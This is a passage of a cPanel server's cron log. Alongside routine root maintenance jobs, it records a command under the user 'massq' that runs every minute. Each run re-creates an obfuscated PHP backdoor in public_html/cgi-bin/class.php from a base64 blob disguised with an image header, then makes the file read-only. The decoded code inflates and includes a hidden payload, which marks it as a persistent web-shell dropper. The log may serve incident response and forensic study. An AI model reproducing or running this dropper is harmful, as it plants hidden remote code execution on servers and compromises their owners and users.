"$fp"; fi; chmod 444 "$fp")
Sep 12 06:41:01 server CROND[5275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:42:01 server CROND[5660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:42:01 server CROND[5661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:42:01 server CROND[5663]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 06:42:01 server CROND[5662]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:43:01 server CROND[6047]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:43:01 server CROND[6048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:43:01 server CROND[6049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:44:01 server CROND[6424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:44:01 server CROND[6425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:44:01 server CROND[6426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:45:01 server CROND[6809]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 06:45:01 server CROND[6810]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 06:45:01 server CROND[6815]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 06:45:01 server CROND[6814]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 06:45:01 server CROND[6812]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:45:01 server CROND[6816]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:45:01 server CROND[6817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:46:01 server CROND[7731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:46:01 server CROND[7732]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:46:01 server CROND[7733]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:47:01 server CROND[8129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:47:01 server CROND[8130]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:47:01 server CROND[8131]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:48:01 server CROND[8522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:48:01 server CROND[8521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:48:01 server CROND[8523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:49:01 server CROND[8899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:49:01 server CROND[8900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:49:01 server CROND[8901]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:50:01 server CROND[9303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:50:01 server CROND[9305]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 06:50:01 server CROND[9306]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 06:50:01 server CROND[9308]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 06:50:01 server CROND[9310]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:50:01 server CROND[9309]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 06:50:01 server CROND[9312]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 06:50:01 server CROND[9313]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 06:50:01 server CROND[9311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:51:01 server CROND[10306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:51:01 server CROND[10308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:51:01 server CROND[10307]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:52:01 server CROND[10684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:52:01 server CROND[10685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:52:01 server CROND[10687]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:53:01 server CROND[11064]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:53:01 server CROND[11065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:53:01 server CROND[11066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
